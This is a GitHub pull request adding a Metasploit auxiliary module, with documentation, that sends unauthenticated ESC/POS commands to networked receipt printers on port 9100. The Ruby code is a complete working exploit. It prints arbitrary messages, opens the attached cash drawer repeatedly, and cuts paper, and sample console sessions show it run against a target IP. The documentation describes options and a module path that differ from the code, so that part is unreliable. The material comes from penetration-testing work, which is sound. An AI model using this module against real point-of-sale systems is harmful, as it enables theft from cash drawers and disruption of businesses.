-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Create escpos_tcp_command_injector.rb #20478
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
futileskills
wants to merge
21
commits into
rapid7:master
Choose a base branch
from
futileskills:escpos-injector-module
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+224
−0
Open
Changes from all commits
Commits
Show all changes
21 commits
Select commit
Hold shift + click to select a range
4e64a0a
Create escpos_tcp_command_injector.rb
futileskills e9a7aba
Update escpos_tcp_command_injector.rb
futileskills f126885
Create escpos_tcp_command_injector.md
futileskills 705a346
Update escpos_tcp_command_injector.rb
futileskills f06cff9
QOL tweaks to escpos_tcp_command_injector.rb
futileskills 9a5670b
Deleted some unnecessary lines
futileskills 7cdcace
remade Doc file.
futileskills 4fd97d5
syntax fix
futileskills 1621d4f
Added option for feed lines and cut paper for better handling
futileskills 58ac914
Added missing line from end of file/ msftidy_docs formating
futileskills 3d94216
added vulnerable application description
futileskills 437dbd9
Merge branch 'rapid7:master' into escpos-injector-module
futileskills 02c5abf
Merge branch 'rapid7:master' into escpos-injector-module
futileskills fb3b4c1
Update escpos_tcp_command_injector.rb
futileskills e7e40d3
rubocop fixes
futileskills 7627bd1
Simplify module options and logic
futileskills 046c133
Fix NameError by correcting Msf namespace
futileskills d2e470f
Update modules/auxiliary/admin/printer/escpos_tcp_command_injector.rb
futileskills 732ca07
Apply review feedback to escpos module
futileskills d1cdf21
formating fixes
futileskills 461ad3e
msftidy fixes
futileskills File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
115 changes: 115 additions & 0 deletions
115
documentation/modules/auxiliary/admin/printer/escpos_tcp_command_injector.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,115 @@ | ||
## Vulnerable Application | ||
|
||
This module targets networked ESC/POS compatible printers that listen for raw commands on TCP port 9100. | ||
The vulnerability is a lack of authentication and access control on this port, allowing anyone with | ||
network access to send unauthenticated ESC/POS commands. The module exploits this by sending crafted | ||
command sequences to inject custom print jobs, trigger the cash drawer, or manipulate the paper feed, | ||
effectively taking control of the printer's physical functions. | ||
|
||
|
||
futileskills marked this conversation as resolved.
Show resolved
Hide resolved
|
||
- **Printer Model:** Any Epson-compatible printer exposing the ESC/POS command set | ||
on TCP port 9100. | ||
|
||
- **Protocol:** ESC/POS over TCP. | ||
|
||
- **CVE:** Submitted for Epson-compatible thermal printers; awaiting assignment. | ||
|
||
|
||
futileskills marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
## Verification Steps | ||
|
||
|
||
|
||
1. **Load the module:** | ||
use auxiliary/scanner/printer/escpos_tcp_command_injector | ||
|
||
2. **Set required options:** | ||
set RHOST <printer_ip> | ||
|
||
3. **Choose an action:** | ||
You can either print a message, trigger the drawer, or do both. | ||
- To print a message, set `PRINT_MESSAGE` to `true` and a `MESSAGE` string. | ||
- To trigger the drawer, set `TRIGGER_DRAWER` to `true`. | ||
- To do both, set both flags to `true`. | ||
|
||
4. **Execute the module:** | ||
run | ||
|
||
--- | ||
|
||
|
||
## Options | ||
|
||
### MESSAGE | ||
|
||
This option specifies the text to be sent to the printer. | ||
|
||
* **Description:** The string of text you want the printer to output. It is only required when `PRINT_MESSAGE` is set to `true`. | ||
* **Default:** "PWNED" | ||
* **Example:** `set MESSAGE "Printing this now"` | ||
|
||
### PRINT_MESSAGE | ||
|
||
This boolean option controls whether a message is printed to the printer. | ||
|
||
* **Description:** When set to `true`, the module will send the `MESSAGE` string to the printer. | ||
* **Default:** `false` | ||
* **Example:** `set PRINT_MESSAGE true` | ||
|
||
### TRIGGER_DRAWER | ||
|
||
This boolean option controls whether the module sends a command to open the cash drawer. | ||
|
||
* **Description:** When set to `true`, the module will send the appropriate ESC/POS command to trigger the cash drawer. | ||
* **Default:** `false` | ||
* **Example:** `set TRIGGER_DRAWER true` | ||
|
||
|
||
|
||
## Scenarios | ||
|
||
### Example 1: Printing a Simple Message | ||
|
||
This example shows how to use the module to send a simple text message to a network-connected ESC/POS printer. | ||
|
||
msf6 > use auxiliary/scanner/printer/escpos_tcp_command_injector | ||
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set RHOSTS 192.168.1.200 | ||
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set PRINT_MESSAGE true | ||
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > run | ||
|
||
[*] Sending print message to 192.168.1.200... | ||
[+] Printed message to 192.168.1.200 | ||
|
||
### Example 2: Triggering the Cash Drawer | ||
|
||
This scenario demonstrates the use of the `TRIGGER_DRAWER` option to send the specific | ||
ESC/POS command to open a cash drawer connected to the printer. | ||
|
||
msf6 > use auxiliary/scanner/printer/escpos_tcp_command_injector | ||
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set RHOSTS 192.168.1.200 | ||
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set TRIGGER_DRAWER true | ||
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > run | ||
|
||
[*] Triggering cash drawer 2 times on 192.168.1.200... | ||
[+] Triggered cash drawer on 192.168.1.200 | ||
|
||
### Example 3: Doing Both | ||
|
||
This example shows how to use both options to print a message and trigger the drawer in a single run. | ||
|
||
msf6 > use auxiliary/scanner/printer/escpos_tcp_command_injector | ||
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set RHOSTS 192.168.1.200 | ||
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set PRINT_MESSAGE true | ||
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set TRIGGER_DRAWER true | ||
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set MESSAGE "Both commands sent!" | ||
msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > run | ||
|
||
[*] Sending print message to 192.168.1.200... | ||
[+] Printed message to 192.168.1.200 | ||
[*] Triggering cash drawer 2 times on 192.168.1.200... | ||
[+] Triggered cash drawer on 192.168.1.200 | ||
|
||
|
||
This module has been tested against a physical Epson-compatible receipt printer and | ||
verified to print custom messages and trigger the cash drawer. | ||
For additional device compatibility, refer to the ESC/POS protocol documentation. |
109 changes: 109 additions & 0 deletions
109
modules/auxiliary/admin/printer/escpos_tcp_command_injector.rb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,109 @@ | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
class MetasploitModule < Msf::Auxiliary | ||
futileskills marked this conversation as resolved.
Show resolved
Hide resolved
|
||
include Msf::Exploit::Remote::Tcp | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'ESC/POS Printer Command Injector', | ||
'Description' => %q{ | ||
This module exploits an unauthenticated ESC/POS command vulnerability in networked Epson-compatible printers. | ||
You can print a custom message, trigger the attached cash drawer, or cut the paper. | ||
}, | ||
'Author' => ['FutileSkills'], | ||
'License' => MSF_LICENSE, | ||
'References' => [ | ||
['URL', 'https://github.com/futileskills/Security-Advisory'] | ||
], | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS, PHYSICAL_EFFECTS] | ||
} | ||
) | ||
) | ||
|
||
register_options( | ||
[ | ||
Opt::RPORT(9100), | ||
OptEnum.new('ACTION', [true, 'The action to perform', 'PRINT', ['PRINT', 'DRAWER', 'CUT']]), | ||
OptString.new('MESSAGE', [false, 'Message to print (for the PRINT action)', 'PWNED']), | ||
OptInt.new('DRAWER_COUNT', [false, 'Number of times to trigger the drawer (for the DRAWER action)', 1]), | ||
OptInt.new('FEED_LINES', [false, 'Number of lines to feed before cutting (for the CUT action)', 5]) | ||
] | ||
) | ||
end | ||
|
||
# ESC/POS command to trigger the cash drawer | ||
DRAWER_COMMAND = "\x1b\x70\x00\x19\x32".freeze | ||
# ESC/POS command to feed lines | ||
FEED_COMMAND = "\x1b\x64".freeze | ||
# ESC/POS command to cut paper (full cut) | ||
CUT_COMMAND = "\x1d\x56\x42\x00".freeze | ||
|
||
def run | ||
connect | ||
print_status("Connected to printer at #{rhost}") | ||
|
||
case datastore['ACTION'] | ||
when 'PRINT' | ||
handle_print | ||
when 'DRAWER' | ||
handle_drawer | ||
when 'CUT' | ||
handle_cut | ||
end | ||
rescue ::Rex::ConnectionError | ||
print_error("Failed to connect to #{rhost}") | ||
ensure | ||
disconnect | ||
end | ||
|
||
private | ||
|
||
def handle_print | ||
message = datastore['MESSAGE'] | ||
if message.to_s.empty? | ||
print_error("No message specified for the 'PRINT' action.") | ||
return | ||
end | ||
|
||
# Break down ESC/POS commands for readability | ||
initialize_printer = "\x1b\x40" | ||
center_align = "\x1b\x61\x01" | ||
double_size_text = "\x1d\x21\x11" | ||
normal_size_text = "\x1d\x21\x00" | ||
left_align = "\x1b\x61\x00" | ||
|
||
print_commands = initialize_printer + | ||
center_align + | ||
double_size_text + | ||
message + | ||
normal_size_text + "\n" + | ||
left_align + "\n\n" | ||
|
||
sock.put(print_commands) | ||
print_good("Printed message: '#{message}'") | ||
end | ||
|
||
def handle_drawer | ||
drawer_count = datastore['DRAWER_COUNT'].to_i.clamp(1, 10) | ||
print_status("Triggering cash drawer #{drawer_count} times...") | ||
drawer_count.times do | ||
sock.put(DRAWER_COMMAND) | ||
sleep(0.5) | ||
end | ||
print_good('Triggered cash drawer.') | ||
end | ||
|
||
def handle_cut | ||
feed_lines = datastore['FEED_LINES'].to_i.clamp(1, 100) | ||
print_status("Feeding #{feed_lines} lines and cutting paper...") | ||
sock.put(FEED_COMMAND + [feed_lines].pack('C')) | ||
sock.put(CUT_COMMAND) | ||
print_good('Paper fed and cut.') | ||
end | ||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.